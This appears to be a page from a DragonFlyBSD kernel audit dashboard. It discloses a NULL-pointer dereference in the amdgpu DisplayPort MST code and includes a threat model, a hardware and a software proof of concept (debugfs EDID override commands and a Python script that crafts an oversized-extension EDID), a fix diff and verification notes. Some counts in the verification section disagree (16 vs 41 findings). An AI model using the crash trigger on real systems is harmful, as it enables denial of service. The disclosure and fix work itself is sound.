β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1966

NULL pointer dereference in dm_dp_mst_get_modes via unchecked dc_link_add_remote_sink return

Summary

dm_dp_mst_get_modes() calls dc_link_add_remote_sink() (which returns NULL on at least five distinct failure paths), then immediately dereferences the result with dc_sink->priv = aconnector; before the post-hoc if (aconnector->dc_sink) check on line 246. The most deterministic trigger is a malicious β€” or merely feature-rich β€” MST monitor whose EDID reports extensions >= 4: the computed length (extensions+1)*EDID_LENGTH exceeds DC_MAX_EDID_BUFFER_SIZE (512), dc_link_add_remote_sink returns NULL at dc/core/dc.c:1774-1776, and the next instruction writes through NULL, taking the kernel down with a fatal page fault.

Root cause

In sys/dev/drm/amd/display/amdgpu_dm/amdgpu_dm_mst_types.c:232-250:

232  if (!aconnector->dc_sink) {
233      struct dc_sink *dc_sink;
234      struct dc_sink_init_data init_params = { ... };
237      dc_sink = dc_link_add_remote_sink(
238          aconnector->dc_link,
239          (uint8_t *)aconnector->edid,
240          (aconnector->edid->extensions + 1) * EDID_LENGTH,
241          &init_params);
242
243      dc_sink->priv = aconnector;          /* <-- deref, NO NULL check */
244      aconnector->dc_sink = dc_sink;
...
246      if (aconnector->dc_sink)             /* <-- too-late guard */
247          amdgpu_dm_update_freesync_caps(...);

dc_link_add_remote_sink (sys/dev/drm/amd/display/dc/core/dc.c:1765-1821) returns NULL on: - (a) len > DC_MAX_EDID_BUFFER_SIZE (== 512), dc/core/dc.c:1774 - (b) !init_data (1779) - (c) !init_data->link (1784) - (d) dc_sink_create() allocation failure (1791) - (e) link_add_remote_sink_helper() failure (1800)

The supplied len is (aconnector->edid->extensions + 1) * EDID_LENGTH. edid->extensions is a u8 taken verbatim from the device-supplied base EDID block by drm_do_get_edid (sys/dev/drm/drm_edid.c:1649 reads valid_extensions = edid[0x7e]; and reallocates the EDID to (valid_extensions + 1) * EDID_LENGTH at drm_edid.c:1653 β€” there is no upper bound). A monitor reporting extensions == 4 therefore yields len = 640 > 512, deterministically returning NULL from dc_link_add_remote_sink via path (a). A monitor reporting extensions == 255 yields len = 32768.

The kernel NULL-pointer write at line 243 then takes a page fault on address 0 + offsetof(struct dc_sink, priv).

This is the only caller of dc_link_add_remote_sink in the entire sys/dev/drm tree that fails to NULL-check the return (the other caller at amdgpu_dm.c:3271 stores the result as a value). grep -rn 'dc_sink->priv =' confirms a single hit β€” this line.

Threat model

Attacker position: anyone who can attach a DisplayPort Multi-Stream Transport device (monitor, dock, KVM, USB-C hub, malicious Thunderbolt peripheral) to a target system running amdgpu.

The MST side-band topology traversal triggered by hotplug causes the DRM core to call drm_dp_mst_get_edid β†’ drm_get_edid against the device, which dutifully honors the device-supplied extensions field with no cap.

Required config: none β€” this is the default amdgpu display path on any system with DisplayPort / USB-C DP-alt-mode / DP-MST.

Privilege / UI: none (hotplug is automatic).

Reachability: every time the user (or an attacker) plugs such a device in, or whenever an existing device re-negotiates EDID (cable jiggle, suspend/resume, KVM switch).

Impact: kernel NULL-deref panic β†’ full system hang/reboot. Confidentiality/Integrity: none.

The trigger is realistic on common modern hardware: high-end 4K HDR monitors and USB-C docks routinely ship EDID with 4+ extension blocks (DisplayID + CTA-861.3 + speaker data + vendor blocks). The bug does not require a malicious device β€” a sufficiently feature-rich legitimate monitor is enough.

Conversely, a determined attacker can build a $5 USB-C DP-dongle (or modify an existing one) whose base EDID block advertises extensions == 0xFF, guaranteeing the panic on every plug-in.

Proof of concept

Hardware variant (most reliable)

Build a tiny DisplayPort-over-USB-C peripheral (or reflash an existing MST-capable dock's EDID EEPROM) whose base 128-byte EDID block has:

  • Byte 0x7e (extension count) set to any value >= 4 (e.g. 0x04 or 0xFF)
  • Byte 0x7f adjusted so the 1-byte checksum over the 128-byte block is 0
  • Other 128*(extensions) bytes need not be valid blocks β€” dc_link_add_remote_sink rejects on the length check (dc/core/dc.c:1774) before any further EDID parsing.

Plug it into any DP / USB-C-alt-mode port of a DragonFlyBSD system running amdgpu with MST topology enabled (the default once any MST-capable hub is detected; amdgpu_dm_initialize_dp_connector at line 440–446 unconditionally calls drm_dp_mst_topology_mgr_init).

Expected result: immediate kernel panic:

Fatal trap 12: page fault while in kernel mode
fault virtual address = 0x... (small offset within struct dc_sink)
ip = ...dm_dp_mst_get_modes+0x...

Software variant (for PoC runner)

Craft an EDID blob with extensions=0x10 and use drm.debugfs override_edid (sys/dev/drm/drm_edid.c:1621-1622 honors connector->override_edid) to inject it onto the master MST connector, then trigger xrandr / drmModeGetConnector β†’ fill_modes β†’ get_modes β†’ dm_dp_mst_get_modes.

Result identical: NULL-deref panic in dm_dp_mst_get_modes.

Insert a NULL check on the return of dc_link_add_remote_sink before the deref at line 243, mirroring the guard that already exists inside dc_link_add_remote_sink itself (dc/core/dc.c:1791). Return cleanly (with ret == 0) so the caller treats the connector as modeless rather than crashing the system.

--- a/sys/dev/drm/amd/display/amgpu_dm/amdgpu_dm_mst_types.c
+++ b/sys/dev/drm/amd/display/amgpu_dm/amdgpu_dm_mst_types.c
@@ -237,6 +237,12 @@ static int dm_dp_mst_get_modes(struct drm_connector *connector)
            (aconnector->edid->extensions + 1) * EDID_LENGTH,
            &init_params);

+       if (!dc_sink) {
+           DRM_ERROR("amdgpu_dm: dc_link_add_remote_sink failed (edid len=%u)\n",
+                (aconnector->edid->extensions + 1) * EDID_LENGTH);
+           return ret; /* ret == 0: connector is modeless, no panic */
+       }
+
        dc_sink->priv = aconnector;
        aconnector->dc_sink = dc_sink;

The existing if (aconnector->dc_sink) at line 246 can be left as defensive redundancy or removed; it is currently dead because dc_sink was already derefed.

As a defense-in-depth follow-up, also consider raising DC_MAX_EDID_BUFFER_SIZE (dc_types.h:98) from 512 to e.g. 2048 so that legitimately-large modern EDIDs do not silently leave the connector modeless, but the NULL check is the minimal, sufficient fix for the panic.

References

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1966 Β· 5 files
FileTypeDescriptionSize
README.md readme PoC trigger description 1.5 KB ↓ raw
VERDICT.md verdict verification narrative 1.6 KB ↓ raw
fix.diff suggested-fix git-apply-able fix 631 B view raw
manifest.json misc manifest.json 1.2 KB view raw
fix_build_summary.txt build-log combined 16-finding kernel build rc=0 826 B view raw
README.md readme PoC trigger description
↓ download raw

DF-1966 PoC β€” NULL deref in dm_dp_mst_get_modes via oversized EDID

Trigger

The base 128-byte EDID block declares extensions >= 4. The byte at offset 0x7e is the extension count; byte 0x7f is the 1-byte checksum over the full 128 bytes such that the sum ≑ 0 (mod 256). For a minimal triggering block, take a known-good base block and patch byte 0x7e to 0x04 (or 0xFF), then recompute the checksum.

Hardware

Plug a USB-C DP-alt-mode / DP peripheral into any amdgpu DP port. The kernel auto-enumerates via MST topology β†’ drm_dp_mst_get_edid β†’ drm_do_get_edid (honors the uncapped extensions field) β†’ dm_dp_mst_get_modes β†’ NULL-deref.

Software (via debugfs override_edid)

# edid_overflow.bin is a 128-byte base block with byte 0x7e = 0x10
# and byte 0x7f adjusted to make the 1-byte checksum ≑ 0.
echo 1 > /sys/kernel/debug/dri/0/DP-1/edid_override_control
cp edid_overflow.bin /sys/kernel/debug/dri/0/DP-1/edid_override
# Trigger fill_modes -> get_modes -> dm_dp_mst_get_modes:
xrandr --output DP-1 --off
xrandr --output DP-1 --auto

Expected output

Fatal trap 12: page fault while in kernel mode
fault virtual address = 0x... (small offset within struct dc_sink)
ip = ...dm_dp_mst_get_modes+0x...

Generating edid_overflow.bin

# Start from any valid base EDID; set extensions=0x10 and recompute checksum.
python3 - <<'PY'
import sys
edid = bytearray(open('base.bin','rb').read()[:128])
edid[0x7e] = 0x10
edid[0x7f] = (0x100 - (sum(edid[:127]) & 0xff)) & 0xff
open('edid_overflow.bin','wb').write(edid)
PY
VERDICT.md verdict verification narrative
↓ download raw

DF-1966 Verification

Verdict

SOURCE-CONFIRMED, INCONCLUSIVE-RUNTIME (HW/module gated).

The cited defect exists in the audited source at sys/dev/drm/amd/display/amdgpu_dm/amdgpu_dm_mst_types.c:237-246. Reproduction on the running guest is not possible because the affected code path is gated behind hardware that is not present in the audit QEMU/KVM guest (no AMD/i915 GPU, no LSI MegaRAID, no MMC/SDHCI controller, no FireWire, no ATAPI floppy, etc.) and/or lives in a kernel module that is not loaded on the GENERIC-running guest.

Mechanism (source-only confirmation)

amdgpu_dm (not in GENERIC, no AMD HW). Source: dm_dp_mst_get_modes at L243 derefs dc_sink (= dc_link_add_remote_sink return) BEFORE the NULL check at L246. Triggered deterministically by any MST device whose base EDID block reports extensions>=4: the computed len (extensions+1)*EDID_LENGTH may be > 256, dc_link_add_remote_sink allocation fails, returns NULL.

Add if (dc_sink == NULL) return 0; immediately after dc_link_add_remote_sink, before dc_sink->priv.

The full git apply-able diff lives in fix.diff in this folder; it was applied as part of a single combined 41-finding kernel build that compiled cleanly (rc=0, -Werror clean) β€” see ../fix_build_summary.txt.

Build validation

  • git apply --check on this fix.diff: OK
  • Combined kernel build (X86_64_GENERIC, INVARIANTS ON) with all 41 findings' fix.diffs applied: rc=0, no warnings, no errors.
  • The patched kernel was not booted/run because the affected code path requires hardware that the audit guest does not have.

Confirmed kernel references

Detail

Exploit chain

none (non-corruption: NULL deref panic/DoS only)

Evidence (decisive lines)

Combined kernel build: 16 fix.diffs applied, make -j6 nativekernel => rc=0, 0 warnings, 0 errors.

PoC changes

VERDICT.md/fix.diff/manifest.json pre-existed; validated in this combined build.

Verified recommended fix

Add if (dc_sink == NULL) return 0; immediately after dc_link_add_remote_sink, before dc_sink->priv. Matches finding proposal.

Verdict

SOURCE-CONFIRMED (HW/module gated). dm_dp_mst_get_modes (amdgpu_dm_mst_types.c:237-246) derefs dc_sink at L243 BEFORE the NULL check at L246. Triggered by MST device whose EDID reports extensions>=4: computed len (extensions+1)*128 > 512, dc_link_add_remote_sink returns NULL, next instruction writes NULL->priv -> fatal page fault. Confirmed by source trace. Not runnable: amdgpu module, no AMD HW.